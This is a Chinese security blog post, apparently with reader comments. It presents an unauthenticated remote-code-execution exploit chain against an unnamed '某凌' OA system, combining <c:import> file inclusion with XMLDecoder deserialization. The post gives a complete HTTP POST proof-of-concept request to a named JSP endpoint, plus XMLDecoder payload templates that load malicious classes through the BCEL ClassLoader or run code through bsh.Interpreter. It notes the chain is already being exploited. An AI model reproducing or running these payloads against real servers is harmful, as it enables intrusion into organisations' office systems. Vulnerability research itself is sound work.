某凌OA前台无条件RCE(文件包含+XmlDecoder)终章
某凌OA前台无条件RCE(组合利用)
这个其实就是前段时间两个漏洞的结合。
1.SSRF(这里应该叫文件包含)
2.XmlDecoder反序列化
之前写了一个读取密码到后台JNDI的利用方式
这个方法也不是百分百可行,后面在塔王的提醒下发现了一种更为简洁的方式。
看见有师傅在打了,就放出来了。
其实主要还是在于<c:import>
这个标签的特性。
之前也有详细介绍过。
<c:import> 标签提供了所有 < jsp:include > 行为标签所具有的功能,同时也允许包含绝对 URL。
举例来说,使用 <c:import> 标签可以包含一个 FTP 服务器中不同的网页内容。
既然提供了include的所有功能,那么也可以直接去包含某些带有漏洞的路径。比如Xmldecoder反序列化的地址:
/sys/search/sys_search_main/sysSearchMain.do?method=editParam
可以利用<c:import>
标签进行包含,绕过权限验证。
POC:
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: Host
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2753
var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=<payload>
由于此OA使用的是集成环境,JDK版本为1.7.在请教清水师傅后,可以利用com.sun.org.apache.bcel.internal.util.ClassLoader
去加载恶意类。
POC:
<java><void+class%3d"com.sun.org.apache.bcel.internal.util.ClassLoader"><void+method%3d"loadClass"><string></string><void+method%3d"newInstance"></void></void></void></java>
也可以像我这种jb小子一样,去调bsh。因为该系统自带了bsh。
POC:
<java><void class="bsh.Interpreter"><void method="eval"><string>
Java Code
</string>
</void></void></java>
感谢塔王和清水川崎师傅的指点。
"也可以像我这种jb小子一样",海神说笑了...
看不懂的文章,看不懂的代码,菜弟弟JB小子跟班都算不上
@kid 师傅谦虚了,相互学习